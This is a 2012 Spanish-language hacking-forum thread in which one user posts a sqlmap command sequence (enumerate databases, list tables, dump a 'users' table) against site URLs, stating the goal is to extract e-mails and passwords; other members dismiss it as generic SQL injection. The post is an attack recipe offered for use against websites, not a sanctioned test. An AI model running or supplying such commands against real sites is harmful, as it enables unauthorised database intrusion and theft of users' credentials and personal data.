Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: panik0 en Septiembre 17, 2012, 06:37:04 PM

Título: Un pequeño aporte con sqlmap para sacar e-mail con el usser etc..
Publicado por: panik0 en Septiembre 17, 2012, 06:37:04 PM
backtrack - sqlmap

abren terminal  y ponen

1)  cd /pentest/database/sqlmap

2)  ./sqlmap.py -u http://example.com/admin/file.php?id=146 --dbs

3)  sqlmap.py -u http://example.com/admin/file.php?id=146 -D pjirc_forum --tables
 
4) (esta te manda directo con el user ,email , etc..)   ./sqlmap.py -u http://www.pagina.com.mx/detalle.php?id=1 -D tito_tito -T users --dump

(occional si quieren hacerlo paso a paso...)                  *sqlmap.py -u http://example.com/admin/file.php?id=146 -T users --columns

                                                                                     *sqlmap.py -u http://example.com/admin/file.php?id=146 -T users -U test --dump

                                                                                 
=D jhejejejejjeje ps  si tienen duda pregunten nada se pierde con  preguntar jejej ..  jejeje  ;D
Título: Re:un pequeño aporte con sqlmap para sacar e-mail con el usser etc..
Publicado por: [C]orrupted[B]yte en Septiembre 17, 2012, 07:09:55 PM
Que es lo que tratas de explicar exactamente?  :-\
Título: Re:un pequeño aporte con sqlmap para sacar e-mail con el usser etc..
Publicado por: panik0 en Septiembre 17, 2012, 07:21:34 PM
para poder sacar los e-mails  , contraseñas etc... jeje :P
Título: Re:un pequeño aporte con sqlmap para sacar e-mail con el usser etc..
Publicado por: [C]orrupted[B]yte en Septiembre 17, 2012, 10:09:12 PM
Sacarlos de donde?
Eso solo es sqli con sqlmap, no todas las bases de datos tienen el mismo nombre ni las mismas tablas, aqui en el foro hay muchos tutoriales de los que puedes aprender, echale ganas ;)
Título: Re:un pequeño aporte con sqlmap para sacar e-mail con el usser etc..
Publicado por: baron.power en Septiembre 18, 2012, 08:12:01 AM
Cita de: [Corruptedyte link=topic=11226.msg39992#msg39992 date=1347930552]
Sacarlos de donde?
Eso solo es sqli con sqlmap, no todas las bases de datos tienen el mismo nombre ni las mismas tablas, aqui en el foro hay muchos tutoriales de los que puedes aprender, echale ganas ;)


cuanta razon tienes, cuanta.... saludos